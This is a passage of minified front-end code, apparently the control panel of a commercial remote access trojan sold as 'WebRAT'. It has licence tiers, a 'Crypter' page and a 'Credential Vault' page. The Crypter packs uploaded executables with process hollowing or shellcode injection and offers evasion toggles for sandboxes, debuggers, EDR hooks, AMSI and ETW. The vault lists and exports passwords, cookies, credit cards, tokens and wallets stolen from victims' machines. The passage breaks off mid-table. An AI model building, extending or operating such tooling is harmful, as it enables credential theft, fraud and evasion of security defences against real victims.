${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:V,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:V?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>W(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:M.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>U("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>U("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:G,disabled:B,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:B?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>W(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function TV(){const{isAdmin:e}=gs(),n=w5()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState(!0),[h,x]=m.useState(!0),[g,y]=m.useState(!0),[v,b]=m.useState(!0),[w,j]=m.useState(!0),[N,k]=m.useState(!1),[z,S]=m.useState(0),[A,_]=m.useState(""),[O,P]=m.useState(!1),D=m.useRef(null),V=m.useCallback(M=>{M.preventDefault(),P(!1);const W=M.dataTransfer.files[0];W&&i(W)},[]),R=m.useCallback(async()=>{if(!(!r||N)){k(!0),_(""),S(5);try{const M=new FormData;M.append("file",r),M.append("mode",s),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),S(20);const W=setInterval(()=>{S(K=>Math.min(K+5,85))},2e3),$=await d_(M);clearInterval(W),S(100);const U=URL.createObjectURL($),B=document.createElement("a");B.href=U,B.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(B),B.click(),document.body.removeChild(B),URL.revokeObjectURL(U),setTimeout(()=>S(0),2e3)}catch(M){_(M.message||"Build failed"),S(0)}finally{k(!1)}}},[r,N,s,l,u,f,h,g,v,w]);return n?a.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),a.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:V,onClick:()=>{var M;return(M=D.current)==null?void 0:M.click()},children:[a.jsx("input",{ref:D,type:"file",accept:".exe",className:"hidden",onChange:M=>{var $;const W=($=M.target.files)==null?void 0:$[0];W&&i(W)}}),r?a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),a.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),a.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),a.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${s==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),s==="runpe"&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),a.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),a.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:p},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:W,desc:$,value:U,set:B})=>a.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${U?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:U,onChange:K=>B(K.target.checked),className:"mt-0.5 accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("div",{className:"text-sm font-mono text-zerin-text",children:W}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:$})]})]},M))})]}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("button",{onClick:R,disabled:!r||N,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||N?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:N?"Crypting...":"Crypt"}),(N||z>0)&&a.jsxs("div",{children:[a.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${z}%`}})}),a.jsxs("div",{className:"flex justify-between mt-1",children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:z<20?"Preparing...":z<50?"Encrypting payload...":z<85?"Compiling stub...":z<100?"Finalizing...":"Complete!"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[z,"%"]})]})]}),A&&a.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:A})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"Random keys per build — no shared signatures"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):a.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"px-8 py-12 text-center",children:[a.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),a.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),a.jsx(xt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}function MV(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function q2(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;la.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function LV(){var _,O,P,D,V,R,M,W,$,U,B,K,Z,le,de,we,ye,G,te,C,Y,re,F,se,be,ke,Ae,I,fe,q,ne,ve,H,Q,he,E,ce,ee,xe,Ne,ze,X,ie,oe,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const T=await g_();t(T)}catch(T){s(T instanceof Error?T.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const T=new Map;for(const ae of e){let ue=T.get(ae.agent_id);ue||(ue={agent_id:ae.agent_id,hostname:ae.hostname,username:ae.username,os_version:ae.os_version,grabs:[]},T.set(ae.agent_id,ue)),ue.grabs.push({task_id:ae.task_id,output:ae.output,received_at:ae.received_at})}return Array.from(T.values())})(),j=x?w.filter(T=>T.hostname.toLowerCase().includes(x.toLowerCase())||T.username.toLowerCase().includes(x.toLowerCase())||T.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(T,ae)=>{var ue,lt,Ct,Lt,vr,Qr,Li,_s,Sf,Jr,bt,rn,kv,zv,Sv,Cv,Pv,Ev,_v;l({agent:T,grabIdx:ae});try{const ct=JSON.parse(T.grabs[ae].output);u(ct);const yn=new Set;(((ue=ct.chrome_passwords)==null?void 0:ue.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(vr=ct.wifi)!=null&&vr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((_s=ct.telegram)!=null&&_s.found||(Sf=ct.filezilla)!=null&&Sf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((kv=ct.steam)!=null&&kv.found||(zv=ct.epic)!=null&&zv.found||(Sv=ct.minecraft)!=null&&Sv.length||(Cv=ct.roblox)!=null&&Cv.found)&&yn.add("gaming"),(Pv=ct.wallets)!=null&&Pv.length&&yn.add("wallets"),(Ev=ct.vpn)!=null&&Ev.length&&yn.add("vpn"),(_v=ct.errors)!=null&&_v.length&&yn.add("errors"),f(yn)}catch{u(null)}},k=T=>{f(ae=>{const ue=new Set(ae);return ue.has(T)?ue.delete(T):ue.add(T),ue})},z=T=>{v(ae=>{const ue=new Set(ae);return ue.has(T)?ue.delete(T):ue.add(T),ue})},S=(T,ae)=>{navigator.clipboard.writeText(T).then(()=>{const ue=ae?ae.clientX:window.innerWidth/2,lt=ae?ae.clientY-30:window.innerHeight/2;h({text:"Copied!",x:ue,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},A=()=>{if(!c||!o)return;const T=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ae=URL.createObjectURL(T),ue=document.createElement("a");ue.href=ae,ue.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,ue.click(),URL.revokeObjectURL(ae)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:T=>g(T.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r + placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r + transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(T=>{const ae=y.has(T.agent_id),ue=(o==null?void 0:o.agent.agent_id)===T.agent_id,lt=T.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?G2(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{T.grabs.length===1?N(T,0):(z(T.agent_id),!ae&&!ue&&N(T,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50 + ${ue?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:T.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:T.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:T.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[T.grabs.length," grab",T.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:MV(lt.received_at)})]})]}),T.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ae?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[T.grabs.length," historical grabs"]})]})]}),ae&&T.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:T.grabs.map((vr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===T.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(T,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors + ${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:q2(vr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:vr.task_id.slice(0,8)})]})},vr.task_id)})})]},T.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:q2(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[G2(c)," items"]}),a.jsxs("button",{onClick:A,className:`inline-flex items-center gap-1.5 text-xs font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((_=c.chrome_passwords)==null?void 0:_.length)??0)+(((O=c.firefox_passwords)==null?void 0:O.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const T=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return T.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:T.map((ae,ue)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ae.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ae.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ae.username,lt),children:ae.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ae.password,lt),children:ae.password?"••••••••":""})]},ue))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.value,ue),children:[T.value.slice(0,40),"..."]})]},ae))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((V=c.chrome_cards)==null?void 0:V.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:T.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.number,ue),children:T.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.exp})]},ae))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((M=c.wifi)==null?void 0:M.length)??0,expanded:d.has("wifi"),onToggle:()=>k("wifi"),children:(W=c.wifi)!=null&&W.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 